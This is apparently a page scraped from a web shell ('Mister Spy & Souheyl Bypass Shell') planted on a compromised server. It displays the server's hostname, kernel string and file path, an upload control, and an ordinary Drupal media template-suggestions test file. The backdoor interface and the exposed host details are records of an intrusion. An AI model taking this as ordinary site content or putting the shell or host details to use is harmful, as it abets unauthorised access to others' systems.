Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/dataninja.cn/core/modules/media/tests/src/Functional/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/dataninja.cn/core/modules/media/tests/src/Functional/MediaTemplateSuggestionsTest.php

<?php

namespace Drupal\Tests\media\Functional;

use Drupal\media\Entity\Media;

/**
 * Tests media template suggestions.
 *
 * @group media
 */
class MediaTemplateSuggestionsTest extends MediaFunctionalTestBase {

  /**
   * Modules to install.
   *
   * @var array
   */
  public static $modules = ['media'];

  /**
   * Tests template suggestions from media_theme_suggestions_media().
   */
  public function testMediaThemeHookSuggestions() {
    $media_type = $this->createMediaType('test', [
      'queue_thumbnail_downloads' => FALSE,
    ]);

    // Create media item to be rendered.
    $media = Media::create([
      'bundle' => $media_type->id(),
      'name' => 'Unnamed',
    ]);
    $media->save();
    $view_mode = 'full';

    // Simulate theming of the media item.
    $build = \Drupal::entityTypeManager()->getViewBuilder('media')->view($media, $view_mode);

    $variables['elements'] = $build;
    $suggestions = \Drupal::moduleHandler()->invokeAll('theme_suggestions_media', [$variables]);
    $this->assertSame($suggestions, ['media__full', 'media__' . $media_type->id(), 'media__' . $media_type->id() . '__full', 'media__source_' . $media_type->getSource()->getPluginId()], 'Found expected media suggestions.');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net